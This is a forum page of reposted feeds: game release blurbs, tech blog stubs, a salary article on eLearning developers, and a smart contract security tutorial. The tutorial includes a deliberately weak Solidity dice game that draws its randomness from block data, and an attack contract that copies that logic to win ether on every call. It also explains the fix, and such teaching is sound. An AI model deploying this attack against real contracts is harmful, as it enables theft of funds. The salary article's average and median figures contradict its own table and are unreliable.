Welcome, Guest
You have to register before you can post on our site.

Username
  

Password
  





Search Forums

(Advanced Search)

Forum Statistics
» Members: 20,946
» Latest member: blackopsdlc
» Forum threads: 22,004
» Forum posts: 22,971

Full Statistics

Online Users
There are currently 1217 online users.
» 0 Member(s) | 1212 Guest(s)
Applebot, Baidu, Bing, Facebook, Google

Latest Threads
[Ubuntu News] Scaling And...
Forum: Linux, FreeBSD, and Unix types
Last Post: xSicKxBot

» Replies: 0
» Views: 0
[WoW Retail News] Comment...
Forum: World of Warcraft
Last Post: xSicKxBot

» Replies: 0
» Views: 16
How to unlock Maya Aguina...
Forum: PC Discussion
Last Post: xSicKxBot

» Replies: 0
» Views: 21
[Steam Release] The Unive...
Forum: New Game Releases
Last Post: xSicKxBot

» Replies: 0
» Views: 24
[DevBlog MS] Creating a m...
Forum: C#, Visual Basic, & .Net Frameworks
Last Post: xSicKxBot

» Replies: 0
» Views: 27
[WoW Retail News] Fixed C...
Forum: World of Warcraft
Last Post: xSicKxBot

» Replies: 0
» Views: 31
[PS.Blog] Fading Echo mak...
Forum: Sony Discussion
Last Post: xSicKxBot

» Replies: 0
» Views: 28
[Steam Release] Cowbots a...
Forum: New Game Releases
Last Post: xSicKxBot

» Replies: 0
» Views: 35
[Dev News] September Free...
Forum: Game Development
Last Post: xSicKxBot

» Replies: 0
» Views: 25
Marvel Rivals Venom guide...
Forum: PC Discussion
Last Post: xSicKxBot

» Replies: 0
» Views: 32

 
  PC - Out There: Oceans of Time
Posted by: xSicKxBot - 06-08-2022, 08:44 PM - Forum: New Game Releases - No Replies

Out There: Oceans of Time



The successor to the award-winning Out There, Oceans of Time blends roguelike, resource management and interactive fiction for a space survival epic where death is one wrong decision away.

As Commander Nyx, explore a vast galaxy that is different every time you play, as you search for the Archon; a cosmic villain set on dominating the civilisations of the galaxy.

Encounter other strange lifeforms and learn to communicate, trade, and conduct diplomacy as you build a coalition of allies in your mission to find the Archon.

Recruit new members from the alien races you cross paths with, and build a team capable of traversing the cosmos. Manage your crew, your ship and its systems; the mission's success is down to your decisions as Commander.

Publisher: Modern Wolf

Release Date: May 26, 2022




https://www.metacritic.com/game/pc/out-t...ns-of-time

Print this item

  [Oracle Blog] JDK Mission Control Core libraries now available on Maven Central
Posted by: xSicKxBot - 06-08-2022, 03:31 AM - Forum: Java Language, JVM, and the JRE - No Replies

JDK Mission Control Core libraries now available on Maven Central

Purpose of this blog entry is to announce the availability of JMC Core libraries on Maven Central

https://blogs.oracle.com/java/post/jdk-m...en-central

Print this item

  [Tut] eLearning Developer — Income and Opportunity
Posted by: xSicKxBot - 06-08-2022, 03:31 AM - Forum: Python - No Replies

eLearning Developer — Income and Opportunity

4.9/5 – (8 votes)

What is an eLearning Developer?



The eLearning developer is responsible for the technical implementation and deployment of the learning material created by, for example, an instructional designer or teacher.

This involves activities such as setting up an eLearning system or course management system, creating code for interactive exercises or quizzes, and taking care of the technicalities of user management and access restrictions.

What is the Role of an eLearning Developer?



As an eLearning developer, you’re responsible for course design, delivery, UI/UX, user management, interactivity, and learner interaction. Your goal is to help learners reach their goals as efficiently as possible using the perfect toolset and learning assets at the right time and in a seamless way.

In practice, this often means optimizing the learning management system (LMS) or using artificial intelligence to enrich the quality of the learning assets and the timing of their presentation to the learners.

⏱ Tip: Timing is crucial! Great learning material presented at the wrong time is as worthless as bad learning material.

What is the Annual Income of an eLearning Developer in the US?



? Question: How much does an eLearning Developer in the US make per year?

Average Income of an eLearning Developer in the US by Source
Figure: Average Income of an eLearning Developer in the US by Source. [1]

The expected annual income of an eLearning Developer in the United States is between $58,210 and $75,460 per year, with an average annual income of $95,353 per year and a median income of $97,600 per year.

This data is based on our meta-study of 8 salary aggregators sources such as Glassdoor, ZipRecruiter, and PayScale.


Source Average Income
Glassdoor.com $62,037
ZipRecruiter.com $71,724
Talent.com $74,100
Zippia.com $88,397
PayScale.com $58,958
Comparably.com $58,210
SalaryExpert.com $66,268
Salary.com $75,460
Table: Average Income of an eLearning Developer in the US by Source.

?‍? Note: This is the most comprehensive salary meta-study of eLearning developer income in the world, to the best of my knowledge!

Let’s have a look at the hourly rate of eLearning Developers next!

What is the Hourly Rate of a Freelance eLearning Developer?



eLearning Developers are well-paid on freelancing platforms such as Upwork or Fiverr.

If you decide to go the route as a freelance eLearning Developer, you can expect to make between $25 and $95 per hour on Upwork (source). Assuming an annual workload of 2000 hours, you can expect to make between $50,000 and $190,000 per year.


⚡ Note: Do you want to create your own thriving coding business online? Feel free to check out our freelance developer course — the world’s #1 best-selling freelance developer course that specifically shows you how to succeed on Upwork and Fiverr!

How Much Should I Charge as a Freelance eLearning Developer?



  • ⭐ As a beginner eLearning developer, you should charge $20-$30 per hour on freelancing platforms such as Upwork or Fiverr.
  • ⭐⭐ As an intermediate eLearning developer, you should charge $30-$60 per hour on freelancing platforms such as Upwork or Fiverr.
  • ⭐⭐⭐ As an expert eLearning developer, you should charge $60-$120 per hour on freelancing platforms such as Upwork or Fiverr.

Industry Demand


But is there enough demand? Let’s have a look at Google trends to find out how interest evolves over time (source):


Both keywords “eLearning” and “eLearning Developer” have seen significant growth in interest during the last two decades. The field is likely to grow in the next couple of decades, so the industry demand is very attractive.

What Skills Do I Need as an eLearning Developer?


Figure: A skill you don’t need as an eLearning developer.

These are the top 15 most important skills you should have as a successful eLearning developer:

  1. Flexibility in mind and thinking—the field changes rapidly!
  2. Programming skills
  3. Technical skills in the industry for which you create eLearning systems are helpful but not strictly required.
  4. Understanding eLearning authoring tools
  5. Web development skills such as HTML, CSS, JavaScript
  6. Ability to use gamification and game economics to keep learning exciting
  7. Editing graphical assets such as photos and videos
  8. Understanding design principles and UI/UX best practices.
  9. Good teaching skills
  10. Course creation skills
  11. English language skills
  12. Pedagogic skills
  13. Initiative and creativity
  14. Ability to work with others
  15. Communication skills

Learning Path, Skills, and Education Requirements



Do you want to become an eLearning Developer? Here’s a step-by-step learning path I’d propose to get started with eLearning :

You can find many additional computer science courses on the Finxter Computer Science Academy (flatrate model).

But don’t wait too long to acquire practical experience!

Even if you have little skills, it’s best to get started as a freelance developer and learn as you work on real projects for clients — earning income as you learn and gaining motivation through real-world feedback.

? Tip: An excellent start to turbo-charge your freelancing career (earning more in less time) is our Finxter Freelancer Course. The goal of the course is to pay for itself!





You can find more job descriptions for coders, programmers, and computer scientists in our detailed overview guide:


The following statistic shows the self-reported income from 9,649 US-based professional developers (source).

? The average annual income of professional developers in the US is between $70,000 and $177,500 for various programming languages.


Question: What is your current total compensation (salary, bonuses, and perks, before taxes and deductions)? Please enter a whole number in the box below, without any punctuation. If you are paid hourly, please estimate an equivalent weekly, monthly, or yearly salary. (source)

The following statistic compares the self-reported income from 46,693 professional programmers as conducted by StackOverflow.

? The average annual income of professional developers worldwide (US and non-US) is between $33,000 and $95,000 for various programming languages.

Here’s a screenshot of a more detailed overview of each programming language considered in the report:


Here’s what different database professionals earn:


Here’s an overview of different cloud solutions experts:


Here’s what professionals in web frameworks earn:


There are many other interesting frameworks—that pay well!


Look at those tools:


Okay, but what do you need to do to get there? What are the skill requirements and qualifications to make you become a professional developer in the area you desire?

Let’s find out next!

General Qualifications of Professionals


StackOverflow performs an annual survey asking professionals, coders, developers, researchers, and engineers various questions about their background and job satisfaction on their website.

Interestingly, when aggregating the data of the developers’ educational background, a good three quarters have an academic background.

Here’s the question asked by StackOverflow (source):

Which of the following best describes the highest level of formal education that you’ve completed?


However, if you don’t have a formal degree, don’t fear! Many of the respondents with degrees don’t have a degree in their field—so it may not be of much value for their coding careers anyways.

Also, about one out of four don’t have a formal degree and still succeeds in their field! You certainly don’t need a degree if you’re committed to your own success!

Freelancing vs Employment Status


The percentage of freelance developers increases steadily. The fraction of freelance developers has already reached 11.21%!

This indicates that more and more work will be done in a more flexible work environment—and fewer and fewer companies and clients want to hire inflexible talent.

Here are the stats from the StackOverflow developer survey (source):


Do you want to become a professional freelance developer and earn some money on the side or as your primary source of income?

Resource: Check out our freelance developer course—it’s the best freelance developer course in the world with the highest student success rate in the industry!

Other Programming Languages Used by Professional Developers


The StackOverflow developer survey collected 58000 responses about the following question (source):

Which programming, scripting, and markup languages have you done extensive development work in over the past year, and which do you want to work in over the next year?

These are the languages you want to focus on when starting out as a coder:


And don’t worry—if you feel stuck or struggle with a nasty bug. We all go through it. Here’s what SO survey respondents and professional developers do when they’re stuck:

What do you do when you get stuck on a problem? Select all that apply. (source)



To get started with some of the fundamentals and industry concepts, feel free to check out these articles:

Where to Go From Here?


Enough theory. Let’s get some practice!

Coders get paid six figures and more because they can solve problems more effectively using machine intelligence and automation.

To become more successful in coding, solve more real problems for real people. That’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

You build high-value coding skills by working on practical coding projects!

Do you want to stop learning with toy projects and focus on practical code projects that earn you money and solve real problems for people?

? If your answer is YES!, consider becoming a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

If you just want to learn about the freelancing opportunity, feel free to watch my free webinar “How to Build Your High-Income Skill Python” and learn how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

References


[1] The figure was generated using the following code snippet:

import matplotlib.pyplot as plt
import numpy as np
import math data = [62037, 71724, 74100, 88397, 58958, 58210, 66268, 75460] labels = ['Glassdoor.com', 'ZipRecruiter.com', 'Talent.com', 'Zippia.com', 'PayScale.com', 'Comparably.com', 'SalaryExpert.com', 'Salary.com'] median = np.median(data)
average = np.average(data)
print(median, average)
n = len(data) plt.plot(range(n), [median] * n, color='black', label='Median: $' + str(int(median)))
plt.plot(range(n), [average] * n, '--', color='red', label='Average: $' + str(int(average)))
plt.bar(range(len(data)), data)
plt.xticks(range(len(data)), labels, rotation='vertical', position = (0,0.45), color='white', weight='bold')
plt.ylabel('Average Income ($)')
plt.title('eLearning Developer Annual Income - by Finxter')
plt.legend()
plt.show()

Developer Humor


Q: How do eLearning developers and instructional designers explain the Birds and the Bees to their children? A: By the end of this conversation you will be able to do the following: (1) Identify the main components that make someone attractive (2) Employ appropriate decision-making strategies to determine the correct level of romantic engagement (3) ... ?


https://www.sickgaming.net/blog/2022/06/...portunity/

Print this item

  PC - Sniper Elite 5
Posted by: xSicKxBot - 06-08-2022, 03:31 AM - Forum: New Game Releases - No Replies

Sniper Elite 5



As part of a covert US Rangers operation to weaken the Atlantikwall fortifications along the coast of Brittany, Karl makes contact with the French Resistance. Soon they uncover a secret Nazi project that threatens to end the war before the Allies can even invade Europe: Operation Kraken. It's Karl's mission to take out the high-ranking Nazi officers and end Operation Kraken once and for all. Based upon real world locations from France in 1944, the new game maps are the largest and most immersive in the franchise's history with the new traversal system offering players an even greater sandbox of options when it comes to taking out their targets. You can even invite a friend to help you on your mission with enhanced cooperative gameplay options.

Publisher: Rebellion

Release Date: May 26, 2022




https://www.metacritic.com/game/pc/sniper-elite-5

Print this item

  News - Hulu's Predator Prequel, Prey, Gets First Trailer
Posted by: xSicKxBot - 06-08-2022, 03:31 AM - Forum: Lounge - No Replies

Hulu's Predator Prequel, Prey, Gets First Trailer

20th Century Studios has dropped a poster and a new trailer for the upcoming movie Prey, a prequel continuing the long-running survival-action franchise. The movie comes exclusively to Hulu on August 5.

A synopsis reads: "Set in the Comanche Nation 300 years ago, Prey is the story of a young woman, Naru, a fierce and highly skilled warrior. She has been raised in the shadow of some of the most legendary hunters who roam the Great Plains, so when danger threatens her camp, she sets out to protect her people. The prey she stalks, and ultimately confronts, turns out to be a highly evolved alien predator with a technically advanced arsenal, resulting in a vicious and terrifying showdown between the two adversaries." In the trailer, we see Naru in her element and among her people--hunting a bear and then, of course, crossing paths with the horrifying Predator with that awful familiar clicking sound.

Indigenous actor Amber Midthunder (Legion) plays Naru. According to Disney, the character wants to "prove her worth as a warrior [and] certainly gets her chance when she comes face-to-face with the most dangerous hunter of all time, the other-worldly predator." Based on the synopsis, it seems that this movie will also document the titular creature's journey to Earth.

Continue Reading at GameSpot

https://www.gamespot.com/articles/hulus-...01-10abi2f

Print this item

  [Oracle Blog] Solving modern application development challenges with Java
Posted by: xSicKxBot - 06-07-2022, 10:36 AM - Forum: Java Language, JVM, and the JRE - No Replies

Solving modern application development challenges with Java

Organizations are modernizing their business applications to remain competitive in today’s digital economy. To keep up, developers need tools that ensure business applications are portable, adaptable, and perform as expected. Read and find out how Java helps organizations meet the challenges faced when modernizing business applications for today’s business needs.

https://blogs.oracle.com/java/post/solvi...-with-java

Print this item

  [Tut] Smart Contract Randomness or ReplicatedLogic Attack
Posted by: xSicKxBot - 06-07-2022, 10:36 AM - Forum: Python - No Replies

Smart Contract Randomness or ReplicatedLogic Attack

5/5 – (1 vote)



This is part 7 and a continuation of the Smart Contract Security Series.

  1. Ownership Exploit
  2. Private Variable Exploit
  3. Reentrancy Attack
  4. tx.origin Phishing Attack
  5. Denial of Service Attack
  6. Storage Collision Attack
  7. Randomness Attack

In this tutorial, the randomness attack or also called replicated logic attack is analyzed.

The problem in Solidity contracts is finding the true source of randomness.

We will see how generating a random number using on chain data cannot be trusted.  

The tutorial starts with exploiting the randomness vulnerability, followed by the possible solutions. Let us begin the exploration!

Exploit


To explain this exploit, you can consider any game where the user is asked to guess a random number such as a dice number, a card from a pack of cards, or an online lottery contract.

To keep it simple consider a contract game for guessing a dice.

The user is asked to guess a dice number between 1 to 6, and if it matches the random number generated in the contract, then the user is awarded a prize of 1 Ether.

The contract code for DiceGame.sol.

contract DiceGame
{ constructor() payable{ } function guess_the_dice(uint8 _guessDice) public { uint8 dice = random(); if (dice == _guessDice) { (bool sent, ) = msg.sender.call{value: 1 ether}(""); require(sent , "failed to transfer"); } } // source of randomness (1-6) function random() private view returns (uint8) { uint256 blockValue = uint256(blockhash(block.number-1 + block.timestamp)); return uint8(blockValue % 5) + 1; }
}

The contract logic is briefly explained.

  1. constructor() made payable to put some initial reward amount to the winner of the game.
  2. guess_the_dice() takes a param from the user (player), generates the random number, compares it with the user input number. If both are equal then the user (player) is rewarded with 1 Ether.
  3. The random() function uses the previous block number and the current block timestamp to get a random number. The previous block number (block.number-1) is used here because the blockhash() does not allow you to calculate it using the current block number as the current block is still under process w.r.t current transaction. Before the random value is returned we mod it by 5 and add 1 to keep the dice number between 1 to 6.

The attack.sol contract.

contract Attack{ DiceGame dicegame; constructor(DiceGame _addrDicegame) { dicegame = _addrDicegame; } function attack() public{ uint8 guess= random(); dicegame.guess_the_dice(guess); } // source of randomness (1-6) copied from the DiceGame contract function random() private view returns (uint8) { uint256 blockValue = uint256(blockhash(block.number-1 + block.timestamp)); return uint8(blockValue % 5) + 1; } // gets called to rx ether receive() external payable {} function get_balance() public view returns(uint256) { return address(this).balance; } }

The attack contract logic in detail.

  1. The constructor accepts the address of the deployed DiceGame contract so that it can interact with this contract.
  2. The attack() function uses or replicates the exact random function used by the DiceGame contract as the source code of the DiceGame contract is available as open-source or on etherscan (as part of contract section or verified contracts). After getting the random number it calls guess_the_dice()
  3. get_balance() gives the balance of the attacker contract.

Copy the contracts in Remix and execute them.

How the Exploit Occurred


As you can see, every time the attacker calls the attack() function, he/she is able to match it exactly with the number in the guess_the_dice() function of the DiceGame contract.

As the random() function was replicated from the DiceGame contract, it will generate the same random number in attack() and guess_the_dice() as both functions will be part of the same transaction, in other words, the same block.

How to Prevent the Attack


  • The attack can be prevented if any on-chain data such as blockhash, block.number, block.timestamp is not used as the source of randomness in the contracts.
  • Use ChainlinkVRF as the source of true randomness in contracts.

Summary


In this tutorial, we saw how assuming that the on-chain data related to blockchain such as block.timestamp or block.number can give us true randomness that cannot be duplicated or exploited.

While it is true that in computer science it is hard to generate a true random number with the help of an algorithm, some functions are better than the others and chainlink VRF is one such function that helps in generating a provably fair and verifiable random number.

Programmer Humor


Q: How do you tell an introverted computer scientist from an extroverted computer scientist? A: An extroverted computer scientist looks at your shoes when he talks to you.



https://www.sickgaming.net/blog/2022/05/...ic-attack/

Print this item

  (Indie Deal) FREE SiT, Warhammer Festival, 2K & Rapture Deals
Posted by: xSicKxBot - 06-07-2022, 10:36 AM - Forum: Deals or Specials - No Replies

FREE SiT, Warhammer Festival, 2K & Rapture Deals

Stranded In Time FREEbie
[freebies.indiegala.com]
Check out and get ready for a simple little weekend adventure with your eccentric uncle turned into a fantastic journey through space and time.

https://www.youtube.com/watch?v=4Gt_6BHhjaM
2K, Warhammer Skull Festival & Ubisoft Racing Sales
[www.indiegala.com]
[www.indiegala.com]
[www.indiegala.com]
https://www.youtube.com/watch?v=L42s1LZsOuo
Stay Inside, Stay Safe and Enjoy Good Games.
Check out IndieGala on Twitter, YouTube & Facebook[www.facebook.com]


https://steamcommunity.com/groups/indieg...4344047365

Print this item

  News - RuneScape Adds Brand New Twilight Of The Gods Quest
Posted by: xSicKxBot - 06-07-2022, 10:36 AM - Forum: Lounge - No Replies

RuneScape Adds Brand New Twilight Of The Gods Quest

Jagex has announced Twilight of the Gods, a new update for its popular MMORPG mobile game Runescape. The new quest is meant to bridge the gap between the Elder God Wars and the Zamorak Boss Battle that is set to happen later this summer. While completing this quest, players will earn special protection when battling Zamorak, the Lord of Chaos. The Twilight of the Gods update is the final quest for players to complete before taking on Zamorak.

During the quest, you'll uncover Zamorak's plans while exploring key locations and solving various puzzles to find a cure for a new mysterious demon illness. Upon completion, players will earn five Zamorak Reroll Tokens. These tokens will be available as drops from Elder God Wars Dungeon bosses and a special item will provide a 10% damage reduction against The Dark Lord in combat.

No Caption Provided

The Zamorak boss battle is scheduled to launch on July 5. Players who complete the battle will be rewarded with cosmetic transmogrification items that'll transform players into an abyssal form and experience lamps for Magic and Divination.

Continue Reading at GameSpot

https://www.gamespot.com/articles/runesc...01-10abi2f

Print this item

  PC - The Centennial Case: A Shijima Story
Posted by: xSicKxBot - 06-07-2022, 10:36 AM - Forum: New Game Releases - No Replies

The Centennial Case: A Shijima Story



The complex and interwoven mysteries you’ll unravel in this investigative adventure are centered around the ill-fated Shijima family, which has suffered a series of inexplicable deaths over the last century. As Haruka Kagami, it’s up to you to use your powers of deduction to uncover the truth behind these mysterious events and the ‘Fruit of Youth’ that allegedly lies somewhere in the Shijima Mansion. You’ll explore both the past and the present in four murder cases, set across different eras of Japan. Of course, unravelling this intricate web of secrets won’t be straightforward. You’ll have to have your wits about you as you uncover clues, speak to suspects, and put all the pieces of the puzzle together to form a hypothesis. Not everyone you speak to will be cooperative, so be ready to counter their arguments when you present your case. And don’t worry if your detective skills are a little rusty - the game is designed in such a way that you’ll be able to reach the correct answer if you don’t give up. [Square Enix]

Publisher: Square Enix

Release Date: May 12, 2022




https://www.metacritic.com/game/pc/the-c...jima-story

Print this item